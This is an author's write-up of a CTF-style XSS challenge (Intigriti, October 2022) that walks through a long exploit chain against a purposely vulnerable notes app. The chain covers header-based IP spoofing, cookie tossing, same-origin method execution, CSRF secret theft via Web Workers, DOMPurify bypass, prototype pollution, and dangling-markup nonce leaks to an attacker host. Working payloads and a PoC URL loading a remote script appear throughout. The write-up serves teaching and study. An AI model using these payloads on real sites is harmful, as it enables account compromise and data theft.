Intigriti's October 2022 - XSS Challenge Author Writeup

This month, I created a hard XSS challenge for Intigriti. This challenge ended up with only one official solve. If you missed it and haven't tried it, try solving it yourself before reading the write-up!
If you prefer a video writeup, you can find that here: https://www.youtube.com/watch?v=EZfPrgrV5p4
The source code is available at here: https://github.com/0xGodson/notes-app
What is the application is about?
This is an XSS challenge. You know it's time for a notes application. Users can create an account and create notes. The source code is also provided. Which means it's a white box challenge. If you read the source code, you can find that this application's authentication is based on IP + JWT [JSON Web Token].
So, even someone with your username and password (or your session cookie) can't access your notes. Only you can access your account from the IP you had when you registered for an account.
Game rules
- Before we get into the challenge, let's have a look at the rules:

Yes, I only had a working solution on FireFox. However, there was a unintended, unofficial solution that worked on Chrome.
This challenge is bit different that usual. In order to solve, you donβt need to alert
document.domain, instead we need to alert the note of the victim.Important note: We are allowed to use previous XSS challenges in order to solve this one!
Victim has the popups enabled in their browser.
Technical Information
This application is written in Node JS and uses EJS for templating. Notes are sanitized with DOMPurify β latest version at the time of the challenge.
After successful registration, you can create notes with HTML content. However, since HTML content is sanitized with DOMPurify's latest version, you'd need a DOMPurify 0-day to solve the challenge or something different, which is not the intended solution.
If we navigate to
/challenge/beginendpoint, we can see all of our posts:
If you we click on one of our Notes, we notice the URL format change to
/challenge/view/<POST-UUID>
We also notice there is no CSRF protection in place, and the cookies are set to
SameSite: Strict. So, the cookies will not be sent by the browser if the request is made from cross-origin. If you are not familiar withSameSiteor don't know the difference betweenSame-OriginandSame-Site, before continuing to read, I would highly recommend you to read this blog by jub0bs .Since we are allowed to use previous XSS challenges, we can bypass the
SameSite: Strictrestriction. Because,challenge-xxxx.intigriti.ioandchallenge-1022.intigriti.ioareSameSite, but are cross origin. Since, both areSameSite, the browser will be happy to send the cookies in HTTP requests.To create a note, we need to send a POST request to
/challenge/addwith a secret. This secret acts like a CSRF token, as shown in the following screenshot:
You might ask how does the front-end gets this secret? Valid question! There is a JavaScript file named
getSecret.js, which is a dynamic JavaScript file that is created in the backend for each requests and it shares the validsecretto the front-end.
The following code snippet is responsible for returning the
getSecret.jsscript:
app.get('/challenge/getSecret.js', isAuthed, (req, res) => {
try {
if (db.users[currentUser]['ip'] !== userIP) {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
const script = `
/* Only Share the Secret if the Host is Trusted! */
if (window.saveSecret) {
if (document.domain === 'challenge-1022.intigriti.io' && window.location.href === 'https://challenge-1022.intigriti.io/challenge/create') {
console.log('secret Sent!');
window.saveSecret('${db.users[currentUser]['secret']}');
}
}`
res.setHeader('content-type', 'text/javascript');
res.send(script);
} catch {
res.send('Something Went Wrong');
}
})
- Note that the
isAuthedis middleware that is called, and therefore, this endpoint requires authentication. Letβs have a look atisAuthedfunction:
// Verify if the User is Authenticated!
isAuthed = async (req, res, next) => {
let headers = req.headers;
for (let i in headers) {
if (i.toLowerCase().includes('x-') || i.toLowerCase().includes('ip')
|| i.toLowerCase().includes('for')) {
if (i.toLowerCase() !== 'x-real-ip') { // nginx configuration
delete req.headers[i];
}
}
}
if (!req.headers['cookie']) return res.redirect('/challenge/auth');
try {
const authToken = req.cookies['jwt'];
jwt.verify(authToken, jwtSecret, {}, (err, user) => {
if (err) return res.redirect('/challenge/auth')
if (user && db.users[user.user]) {
currentUser = user.user;
userIP = RequestIp.getClientIp(req);
next();
} else {
res.redirect('/challenge/auth?alert=user not found');
}
})
} catch (e) {
res.redirect('/challenge/begin?alert=Something Went Wrong!');
}
}
isAuthedmiddleware basically checks...It deletes the request header if it starts with
x-or if it includes eitheriporfor. Weird setup. However, there is one exception βx-real-ipβ This header remains. But whyx-real-ipis not deleted?The challenge is running behind Nginx and Nginx forwards the real ip-address of the user via the
x-real-ipheader. So, you can't overwrite thex-real-ip.Then, it tries to verify the
JWTtoken. If the token is valid, it sets theuserIPto our IP. If the token is not valid, we will be redirected to/challenge/beginwith the messageSomething Went Wrong. So,/challenge/getSecret.jsis an authenticated endpoint and it requires a validJWTtoken.If we can somehow found a way to leak
secret, we can perform CSRF! However, thesecretis different for every IP.
- The following snippet shows the
/challenge/themeendpoint:
app.get('/challenge/theme', isAuthed, (req, res) => {
try {
if (db.users[currentUser].ip !== '127.0.0.1') {
res.redirect('/challenge/begin?alert=Themes Under Construction');
}
function replaceSlash(str) {
return str.replaceAll('\\', '');
}
if (req.query.callback) {
if (/^[A-Za-z0-9_.]+$/.test(req.query.callback)) {
if (req.query.backgroundTheme && req.query.colorTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.backgroundTheme) && /^[#][0-9a-z]{6}$/.test(req.query.colorTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
background: replaceSlash(req.query.backgroundTheme),
font: replaceSlash(req.query.colorTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
if (req.query.backgroundTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.backgroundTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
background: replaceSlash(req.query.backgroundTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
if (req.query.colorTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.colorTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
font: replaceSlash(req.query.colorTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
}
} else {
return res.render('theme', {theme: false})
}
} catch {
res.redirect('/challenge/begin?alert=Something went Wrong')
}
})
The above code will be executed when someone tries to access the
/challenge/themepage. This endpoint is behind the sameisAuthedmiddleware, so the user needs to be authenticated to access this page.Additionally, here it checks if the user's IP is 127.0.0.1. If it's not, then we'll be redirected to
/challenge/beginwith an error msgThemes Under Construction, as shown in the following snippet:
if (db.users[currentUser].ip !== '127.0.0.1') {
res.redirect('/challenge/begin?alert=Themes Under Construction');
}
If you look closely, the IP is not checked from this request packet, but it checks the IP address of the user which is stored in the DATABASE!
Thus, if we somehow manage to spoof the IP while creating an account, then we can create an account with IP 127.0.0.1 and access this themes page.
The application is using
@supercharge/request-iplibrary to get the IP-address!If you look into the source code of
@supercharge/request-ipor read their README.md file, you can find a bypass!
@supercharge/request-ip- README.md

- The application is using the
x-real-ipheader to get the IP of the user, as we already noted:
// isAuthed Middleware
for (let i in headers) {
if (i.toLowerCase().includes('x-') || i.toLowerCase().includes('ip') || i.toLowerCase().includes('for')) {
if (i.toLowerCase() !== 'x-real-ip') { // nginx configuration
delete req.headers[i];
}
}
}
But, this library will check HTTP headers from the request for the IP address at first place in the order mentioned in docs. Because, some applications maybe are behind some proxies where the proxies forward the real IP of the user via request body headers.
The following snippet shows the login/register route:
app.post('/challenge/auth', (req, res) => {
try {
delete req.headers['x-forwarded-for'];
delete req.headers['x-client-ip'];
const headers = req.headers;
for (let i in headers) {
if (i.toLowerCase().includes('x-') || i.toLowerCase().includes('ip') || i.toLowerCase().includes('-for')) {
if (i.toLowerCase() !== 'x-real-ip') {
delete req.headers[i];
}
}
}
if (!req.body.username || !req.body.password) {
return res.redirect('/challenge/auth?message=username or password is empty');
}
if (db.users[req.body.username] && db.users[req.body.username].password === req.body.password) {
if (db.users[req.body.username]['ip'] === RequestIp.getClientIp(req)) {
const authToken = jwt.sign({user: req.body.username}, jwtSecret)
res.setHeader('Set-Cookie', [`jwt=${authToken}; HttpOnly; secure; SameSite=Strict`]);
return res.redirect('/challenge/begin?message=Login Success!');
} else {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
}
if (db.users[req.body.username] && db.users[req.body.username].password !== req.body.password) {
return res.redirect('/challenge/auth?alert=Password Wrong!');
}
if (!db.nonces[RequestIp.getClientIp(req)]) {
db.nonces[RequestIp.getClientIp(req)] = crypto.randomBytes(20).toString('hex');
}
db.users[req.body.username] = Object.create(null);
db.users[req.body.username]['password'] = req.body.password;
db.users[req.body.username]['ip'] = RequestIp.getClientIp(req);
db.users[req.body.username]['secret'] = crypto.randomBytes(20).toString('hex');
const authToken = jwt.sign({user: req.body.username}, jwtSecret);
db.users[req.body.username].posts = [];
res.setHeader('Set-Cookie', [`jwt=${authToken}; HttpOnly; secure; SameSite=Strict`]);
res.redirect('/challenge/begin?message=Account Created!');
} catch {
res.redirect('/challenge/begin?alert=Something went Wrong');
}
})
I am not going to go into every line, but basically the application deletes 2 request headers before processing the request β
x-forwarded-forandx-client-ip.Then, the application checks if the request header contains character
x-oripor-for, and if the header contains any of these 3 words, then it will delete that header (with the exception ofx-real-ip).Every header mentioned in
@supercharge/request-ipwill fall under this condition and will be deleted, besides theforwardedheader. This can bypass the check, because"forwarded".includes("-for")isfalse.So, now we can spoof our IP with the
ForwardedHeader while registering the account!What next? Once registered an account while spoofing the IP as
127.0.0.1, we can try to access/challenge/themewith the cookie of the account with the spoofed IP. The following screenshot shows that we can access this page with our new account we created using the spoofed account.

- Yes! We can access the
themepage now! But sadly we can't use this cookie to create note or anything. Because, every authenticated endpoint other than/challenge/themechecks the IP of the user from the request body and verifies if the IP from the request body and IP in the databased are the same.
if (db.users[currentUser]['ip'] !== userIP) {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
- What is
userIP? It's a global variable that carries the user's IP address which is taken from request body! Can't we use theForwardedHeader here to bypass this? Well, if we take a look intoisAuthedmiddleware:
for (let i in headers) {
if (i.toLowerCase().includes('x-') || i.toLowerCase().includes('ip') || i.toLowerCase().includes('for')) {
if (i.toLowerCase() !== 'x-real-ip') { // nginx configuration
delete req.headers[i];
}
}
}
It check if the header contains
x-oriporforwords. So,"forwarded".included("for")==true. So, we can't really use theForwardedheader in authenticated endpoints.So, what now? Let's focus on the
themepage
- The
themepage is pretty straight forward after checking the user IP from DB:
function replaceSlash(str) {
return str.replaceAll('\\', '');
}
if (req.query.callback) {
if (/^[A-Za-z0-9_.]+$/.test(req.query.callback)) {
if (req.query.backgroundTheme && req.query.colorTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.backgroundTheme) && /^[#][0-9a-z]{6}$/.test(req.query.colorTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
background: replaceSlash(req.query.backgroundTheme),
font: replaceSlash(req.query.colorTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
if (req.query.backgroundTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.backgroundTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
background: replaceSlash(req.query.backgroundTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
if (req.query.colorTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.colorTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
font: replaceSlash(req.query.colorTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
}
}
The application looks for 3
GETParameters.callback,backgroundThemeandcolorTheme.And the regex is very restrictive. The
callbackparameter should match/^[A-Za-z0-9_.]+$/. β This means: only letters, numbers, underscores and dots are allowed. No special characters at all. You can't bypass this.backgroundThemeandcolorThemeparameters are similar. They need to satisfy the regex. Which means the length should be 6 chars, must start with#and can contain letters and numbers. No Special Characters!If the parameters satisfy the regex, then it's passed to
res.render('theme',{theme:{...}})This application uses EJS template engine and if you look into the
theme.ejs:

It responds with
opener.<callback>("...","...")and it's inside a script tag.Here, the
openeris the challenge window:
If you click the little brush icon there, it will call
updateThemefunction:
function updateTheme() {
window.open("/challenge/theme");
}
This opens another window with url
/challenge/theme. So the/challenge/themewindow can access the parent withopenermethod. You can read about it here.We can control the
opener.<callback>()inthemepage. So, now we have limited access to the parent page!

- We can call functions with limited arguments from child to opener, but still we need to do something to make sure our cookie works for whole application. Here, we are using the cookies which we created with spoofed IP and every other authenticated endpoints other than
challenge/themechecks the user ip from the request body and verifies with the ip stored in database!
Cookie Tossing
Cookie Tossing is a kind of attack where we set cookies from
a.test.comto all subdomains. For example, if we set cookie froma.test.comwithdomainattribute.test.comortest.com, cookies are shared with all subdomains.Since
intigriti.iois not in the public suffix list, we can set a malicious cookie fromxxx.intigiriti.ioand which is shared to all of the subdomains. We just need an xss somewhere on*.intigriti.io. We can get that from previous XSS challenges.
// xss on chal-0222.intigriti.io
https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle/onload=eval(uri)%3E&first=yes\n
document.cookie = `jwt={cookie_with_spoofed_ip};domain=.intigriti.io;path=/challenge/theme`;
- why
pathattribute? RFC 6265 says,

Got it?
Cookies with longer paths are listed before cookies with shorter paths.So, in our case, we are setting cookie with path/challenge/theme. So while browser sends the request to*.intigriti.io/challene/theme, our spoofed cookie will be sent before the real cookies. So, the application will still work fine after tossing the cookies! Because, the browser will use the real cookie for other paths!So, now we can enable the
themepage for our victim and that means the victim account can access/challenge/themepage!
Same Origin Method Execution β SOME Attack
We can use the callback parameter for same origin method execution export. You can read more about this attack here.
Example:
// index.html
// here some.html is child window.
<script>
window.open("/some.html");
location.replace("https://<website_which_allow_you_to_control_opener_in_response>/<endpoint_which_you_want_to_access>");
</script>
// some.html
// here index.html is the parent. we can access index.html with `opener` method and we can access the dom if both are same origin.
<script>
location.replace("https://<website_which_allow_you_to_control_opener_in_response>/<endpoint_where_you_can_control_the_opener_with_callback_paramater>?callback=alert")
</script>
- Why location.replace and why this help us?
from stackoverflow

So, even after changing the window location, we can continue the parent/child relation among windows. But if we used document.location =
somethingor window.location =something, the relation among 2 windows will be erased from memory.What can we achieve with this SOME attack? We can call any functions! So, we can also click elements!
For example, We have SOME gadget on
themepage and we can click elements with JavaScript. We can callElement.click()to click something via JavaScript. In our case we don't need to call the function, which is already called in responseopener.<callback>()!Example:
document.body.lastElementChild.firstChild.nextElementSibling.firstChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nextElementSibling.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.firstChild
- Here, we are using DOM navigations to navigate across elements in document.body. To learn more about DOM navigation, click here.
Limited POC to Click the First Post where the Flag is Saved
We need to use XSS from previous challenges to do all there things:
Enabling the themes page for victim -
document.domain=jwt={spoofed_account's_JWT};domain=.intigriti.io;path=/challenge/theme;
Frame 1 -
<script>
window.open("https://attacker.com/frame2.html")
location.replace("https://challenge-1022.intigriti.io/challenge/begin");
</script>
- Frame2.html -
<script>
// run this after 2 seconds.
location.replace("https://challenge-1022.intigriti.io/challenge/theme?callback=document.body.lastElementChild.firstChild.nextElementSibling.firstChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nextElementSibling.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.firstChild.click&backgroundTheme=%2340e0d0");
</script>
// example response from the server for `/challenge/theme`
...
<script>
opener.document.body.lastElementChild.firstChild.nextElementSibling.firstChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nextElementSibling.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.firstChild.click("#40e0d0")
<script>
...
So, now the frame1 is navigated to the note where the flag is stored!
So, what's next? can we just create a note with XSS? As we discussed about, to create note, we need know the correct
secretto create a note with CSRF.But how can we leak the secret? Well, this is the main part of the challenge :D
Leaking the Secret aka CSRF Token to Perform CSRF
Letβs look into the code and see how the secret is created!
The secret is created and stored in the Database while the account is created.
secretis different for every account. Every different account has a different secret. So, there is no way we can guess thesecret
/* Only Share the Secret if the Host is Trusted! */
if (window.saveSecret) {
if (document.domain === 'challenge-1022.intigriti.io' && window.location.href === 'https://challenge-1022.intigriti.io/challenge/create') {
console.log('secret Sent!');
window.saveSecret('some_secret');
}
}
So, the secret is only shared if the document.domain is
challenge-1022.intigriti.ioandwindow.location.hrefishttps://challenge-1022.intigriti.io/challenge/create.It seems un exploitable, but you can use
WebWorkersto bypass this check!What are WebWorkers?

- There is no window/document object present in
Web WorkerAPI. So, we can write our own window/document objects there π
// worker.js
window = {}
window.location = {}
document = {}
// send the secret to top window!
window.saveSecret = function(msg){
self.postMessage(msg)
}
window.location.href = "https://challenge-1022.intigriti.io/challenge/create";
document.domain = "challenge-1022.intigriti.io";
// we can use importScripts function from API to import external scripts!
importScripts("https://challenge-1022.intigriti.io/challenge/getSecret.js");
- That's all? If we try to register a Web Worker, then...

We ran into another issue. we can't register a worker script that lives on cross origin!
Ok, maybe we can try this on our attacker domain and then share the secret with the old XSS challenge page in order to perform CSRF.
We can, but the issue is cookies are
SameSite: strict. So, auth cookies won't be sent by the browser while importing scripts withimportScriptsfrom cross origin!How can we bypass the browser restriction? Well, to overcome this error, we need a file that is stored on the same domain where we have XSS. For example, if we are exploiting the XSS in
challenge-0220.intigriti.ioto bypass this SameSite restriction, we need to store our worker script inchallenge-0220.intigriti.ioto use. But, we don't have any options to do that!
Blob URL Objects for Rescue
What is Blob URL and why it can be used? Blob URL/Object URL is a pseudo protocol to allow Blob and File objects to be used as URL source for things like images, download links for binary data and so forth. For example, you can not hand an Image object raw byte-data as it would not know what to do with it.
We can create a Blob URL to bypass this. Like, enabling CORS in attacker controlled domain. Then, we can use the fetch api to get the worker script. Then we create a blob url for that file.
Example blob url: blob:https://<document.domain>/550e8400-e29b-41d4-a716-446655440000
If we pass the blob url as URL to
new Worker(BlobURL), then the browser is happy to register the worker :)
Example PoC code:
function registerWorker(url) {
const worker = new Worker(url);
// EventListener to receive msg from worker.js
worker.addEventListener('message', function (m) {
const secret = m.data; // secret
console.log(`Found secret: '${secret}'`);
});
}
fetch(`https://attacker.com/worker.js`)
.then(e => e.text())
.then(e => {
const blobUrl = URL.createObjectURL(new Blob([e], {type: 'text/javascript'}));
registerWorker(blobUrl); // passing Blob Url as URL to Bypass Browser restriction
});
XSS
We already know how to leak the secret and assuming we have the secret, now we can perform CSP and add another note, then we use
SOMEin/challenge/themeto click the second post with DOM navigations.But there is no XSS. Noteβs title and body are sanitized using
DOMPurifyin the latest version. So no XSS.if we looked at the last part of client-side javascript file -
/app.js:
Object.whoami = Object.create(null);
if(document.domain.match(/localhost/)){
Object.whoami = {type: "admin"};
Object.whoami.markdown = true;
}else{
Object.whoami = {type: "normal-user"};
}
Object.defineProperty(Object.whoami,'type', {configurable:false,writable:false}); // no overwrite!
try{
Object.whoami.user = document.head.innerText.split("Welcome")[1].replaceAll("\n", "").replaceAll(" ", "");
}catch{
Object.whoami.user = "still!"
}
First, the application creating a Object on
ObjectwithObject.create(null);Object.create(null)will create a Object with prototype set tonull. If you don't know about prototype pollution, I had already written a Blog on Prototype pollution.If the
document.domaincontainslocalhostin it, thenObject.whoami.typeis set toadminandObject.whoami.markdownis set to true. Else,Object.whoami.typeis set tonormal-user;Object.defineProperty(Object.whoami,'type', {configurable:false,writable:false});β{configurable:false,writable:false}is a method to freeze a property of a object, after assigning values, we can't overwrite.For example:
a = {}
a.name = "godson"
a.age = 18;
console.log(a.age); // 18
Object.defineProperty(a,'age', {configurable:false,writable:false});
a.age = 1337;
console.log(a.age); // still 18
- Letβs look at how the notes are rendered!
app.get('/challenge/view/:uuid', isAuthed, (req, res) => {
// no xss :)
function noscript(text) {
return text.toLocaleLowerCase().replaceAll('script', '').replaceAll('nonce', '');
}
try {
if (db.users[currentUser]['ip'] !== userIP) {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
let uuid = req.params.uuid;
const posts = db.users[currentUser].posts;
if (!posts.includes(uuid)) {
return res.redirect('/challenge/begin?alert=Note not Found!');
}
res.setHeader('Content-Security-Policy', `script-src 'nonce-${db.nonces[RequestIp.getClientIp(req)]}';base-uri 'self'; style-src 'self' 'unsafe-inline'; img-src *;default-src 'none';object-src 'none';`)
res.render('view', {
title: db.users[currentUser][uuid]['title'],
body: db.users[currentUser][uuid]['body'],
user: noscript(currentUser),
nonce: db.nonces[db.users[currentUser]['ip']]
})
} catch {
res.redirect('/challenge/begin?alert=Something went Wrong');
}
});
- First, the application make sure the user's IP is the same in the request body and database. Then, it fetches all the posts created by the user and checks if the requested
postIDis present or not. If yes, then its setting the CSP here!
res.setHeader('Content-Security-Policy', `script-src 'nonce-${db.nonces[RequestIp.getClientIp(req)]}';base-uri 'self'; style-src 'self' 'unsafe-inline'; img-src *;default-src 'none';object-src 'none';`)
- If we look closely at the application code, the
nonceis same for an ip. If a singleiphas multiple accounts, thenonceis shared among them, but thesecretdifferent for every account.
// app.post('/challenge/auth') route
if (!db.nonces[RequestIp.getClientIp(req)]) {
db.nonces[RequestIp.getClientIp(req)] = crypto.randomBytes(20).toString('hex');
}
Every authenticated page is protected with CSP
scipt-src 'self', only/view/<POST_UUID>had a CSP withscript-src 'nonce-{not_random_for_sure}'. So, for XSS we need to upload our javascript file to the server, else we need to somehow leak the nonce and use that on/view/<post_id>for XSS!But our input is sanitized with
DOMPurify, how can we get XSS? If we looked into theview.ejs:

We can see under some conditions, our note content is passed into another function called
tryMarkDownwhich basically looks for<mk>in note content and</mk>and strip the content between this 2 tags and rendering as markdown. What can go wrong? Our input is already Sanitized byDOMPurify, but here under some conditions, our input is parsed again as markdown.Basically we can do something like MXSS. But its not actually MXSS, but similar to MXSS.
Some facts about DOMPurfiy:
DOMPurify only allow a tag or attribute is DOMPurify knows about it.
If unknown tags or attributes is present in the string, then those tags/attribute will be removed.
so, tags like
<mk>hey</mk>will be removed by dompurify!

- we can smuggle our
<mk>tags inside know attributes!

- By this method, we smuggle our XSS payload inside know attributes! Inspired by - https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e
Example POC:
// our note body!
`<h1 id="`payload<img src=x onerror=alert()>"></h1>
// after dompurify :)
'`<h1 id="`payload<img src=x onerror=alert()>"></h1>'
..`<h1 id="`payload">xss<h1>
// If we Again parsed the output with markdown parser
..<p><code><h1 id="</code>payload<img src=x onerror=alert()>"></h1></p>
- So, for XSS, If we need to leak the
noncesomehow. Then, we can use<iframe srcdoc="<script nonce='leaked_nonce'>alert(1337)</script>">
Leaking the GUID and Nonce!
We already know how to leak the secret, But how leak the nonce? nonce is constant for single ip and and different for every ip.
Before going into the leaking part, lets see what we need to do to satisfy the checks and make our note body to parse 2nd time?
if(document.querySelectorAll("#usertype")[0].getAttribute("type") === "admin" && Object.whoami.type === "admin" && Object.whoami.markdown === true && Object.type === "admin" ){
tryMarkDown()
}
To make
document.querySelectorAll("#usertype")[0].getAttribute("type")===admin, we can try DOM clobbering! by default, every user have a body tag<body id="usertype" type="normal-user" className="snippet-body">with ID set tousertypeandtype=normal-userin the response.querySelectorAllfollows the DOM tree order to align the elements when more than one element have same id attribute. So, the only one element which comes above thebodyelement in DOM order ishtmlelement.So, we need html element with id=
usertypeand type=adminto make this (document.querySelectorAll("#usertype")[0].getAttribute("type")===admin) true.Again, DOMPurify don't allow
htmlelement. So, we need some other way.Every authenticated pages carries the username of the user in
titletag without escaping html

- But, the username is filtered used a function named
noscriptbefore rending:
function noscript(text) {
matches = text.toLowerCase().match(/(script)|(nonce)|(href)|(getsecret)|(ip-secret)|(form)|(input)|(nonce)/)
if(matches === null){
return text
}else{
return "[NO XSS]"
}
}
Edit: Still it is possible to bypass this with noscript with iframe srcdoc with HTML entities!
If the username contains any of the above words, then username will not be rendered directly and rendered as
[NO XSS].So, we can use limited HTML in
username.If we used a username like
</title><html id=usertype type=admin>random

we can bypass the first check! to bypass
Object.whoami.type === "admin" && Object.whoami.markdown === true && Object.type === "admin"we need prototype pollution! Indeed, the application is using arg.js - v1.4 for parsing query string and its vulnerable to prototype pollution!https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/arg-js.mdβ Here is the vulnerable code and we can also see, BlackFan mentioned few payloads for us and we can try!If we pass
?constructor[prototype][test]=testas query string, we can confirm, we have prototype pollution here!Now, If we try to pollute / overwrite
Object.whoami.type, you can't! because, its configured as read only!Object.defineProperty(Object.whoami,'type', {configurable:false,writable:false});

If you remember, few months back, the one and only legend Gareth Heyes wrote a blog on prototype pollution gadgets.
ES5 functions such as Object.defineProperty are vulnerable - if a developer does not specify a "value" property, then prototype pollution sources can be used to overwrite properties!
So, If we pollute
Object.prototype.value, we can overwriteObject.whoami.typewhich is configured read only withObject.defineProperty!

we also need to set
Object.whoami.markdown===trueandObject.type\===admin! We can't writemarkdowninsideObject.whoamibut we can setObject.prototype.markdown = true. SinceObject.whoamiis a Object and its prototype isObject.prototype. So in prototype chain, we can getObject.whoami.markdown === true. To setObject.type = admin, we don't want to get intoconstructor[prototype]chain , we can just polluteObject.typewith?constructor[type]=admin:)
Payload for Prototype Pollution:
?constructor[prototype][value]=admin&constructor[prototype][markdown]=true&constructor[type]=admin[ Note:Username: </title><html id=usertype type=admin>r4nd0m]
So, now its time to leak the nonce! we can use a technique called
Dangling Markup Injection! Chrome had fixed this issue in past but Firefox didn't fixed this. You can learn more hereIf we use a username like
</title><img src='//attacker.com?leak=, then everything before the next'will be considered as the URL.Here the user name is
</title><img src='//attacker?leak=We can see, our injection worked here! But a
noncebased CSP is only found in/view/<POST_ID>. so we need to create a dummy Post on this account.To create dummy note, we need
secret! We can follow the same steps to leak the secret again! After leaking the secret, we can create a dummy note. Then we create a iframe with src=//challenge-1022.intigriti.io/challenge/beginwhich will leak thePOST_ID/Note_ID.

- After leaking the Note_ID/Post_ID, now we can create another frame to with src =
//challenge-1022.intigriti.io/challenge/view/<leaked_id>which leaks the nonce!

- Now, we have all the pieces of the puzzle. We just need to align them.
Chaining all together!
First we need to open the first note of the victim. To do that, first, we need to perform cookie tossing with the spoofed IP to enable
themepage for victim.Then we need to creating Iframe 1 with srcdoc which opens another window with window.open.
Then the Iframe 1 changing the location itself with
location.replace("//challenge1022.intigriti.io/challenge/begin")and the child window changing the location itself after 1 secondlocation.replace("[...]/theme?callback=<DOM_NAVIATIONS_TO_CLICK_THE_FIRST_NOTE>&...")Now, we have a Iframe 1 with the flag inside. Now we need to create a new account to leak the
nonceTo do that, we can create a account with
username: </title><img src='//attacker_domain?leak=You may need a VPS or you can even use tools like Replit to host your application. Setup a server to listen for request with leaks, then we can use regex to grep out the NoteID/PostID and Nonce.
To leak the nonce, we need to create a dummy note, to create a dummy note, we need to leak the
secret, we can use the web workers + Blob URL to bypass restrictions. after leaking thesecret, we can perform csrf to create a dummy post.Then we can create a iframe 2 with src=
[...]/challenge/beginwhich leaks the NoteID/PostID for us :)After leaking the PostID, then we can create iframe 3 with src=
[...]/challenge/view/<leaked_id>which helps us to leak the nonce!Now, we have everything we want! for xss,
we need to create another account with username:
</title><html id=usertype type=admin>random1234to bypassdocument.querySelectorAll. to create a post with xss, we needsecret. again using the same method to leak the secret, then we can create post with xss!Payload:
<a href="?constructor[prototype][value]=admin&constructor[prototype][markdown]=true&constructor[type]=admin" id="xssme">click me!</a><h1 id="<mk>"></h1>`<h1 id="`<iframe srcdoc='<script nonce=${nonce}>alert(top.window.frames[0].window.noteContent.innerText)</script>'></iframe>">payload</h1><h1 id="</mk>"></h1>In the note, we have a
atag withhref=[prototype_pollution_payload], so after creating the note with CSRF, we again need to useSOMEto click the XSS note!
Like, now we have a post with XSS, next is create a new iframe 3 with srcdoc =
<script>window.open("SOME1.html");window.open("SOME2.html");location.replace("[....]/challenge/begin")</script>
SOME1.htmlwill use DOM Navigations to click the xss Note,SOME2.htmlwill click theatag which contains the prototype pollution payload. afterSOME2.htmlclicking theatag, the iframe 3 will be redirected to thehreflink in theatag which pollute the prototype and enable 2nd parsing which leads to XSS!
POC
- open a new private window and create account with a note with flag, then navigate to
https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle/onload=eval(uri)%3E&first=yes%0Adocument.head.innerHTML=%27%27;document.body.innerHTML=%27%3Ciframe%20srcdoc=%22%3Cscript%3Ea=document.createElement(`script`);a.src=`https://inti.0xgodson.com/script.js`;top.window.document.head.append(a);%3C/script%3E%22%3E%27
- Source Code for poc : https://github.com/0xgodson/oct-xss
Some Unintended
From DrBrix: It is possible to leak the secret in unintended way. For example, if we register an account with username as
</title><form action="https://attacker/submit"><input id="ip-secret" value=""><script src="./arg-1.4.js"></script><script src="./app.js"></script><script src="./getSecret.js"></script><input name='content' value=', then every other HTML content will become the value of thos input tag wherename=contentuntil we reach'. we can inject script tag in username which is only filtered in/view/<note-id>. Also this doesn't break the CSP becausescript-src 'self'and our injected script tags get executed and also it perfectly matches thedocument.domaincheck andlocation.hrefcheck whilegetSecret.jssharing thesecretand our injectedapp.jswill set the sharedsecretas value to the element withip-secret. He already clobbered theip-secretwith input element and with Same Origin Method Execution, he submitted the form and thesecretis leaked π€―From Lawrence, Another way to leak the secret, he created a user with username as
</title><body id="usertype" type="admin"><textarea type="text" id="ip-secret" name="secret"></textarea>. Clobberingip-secretwith html entities insideidattribute
We have
style-src 'self' 'unsafe-inline', so it is also possible to leak the secret via css Injection.



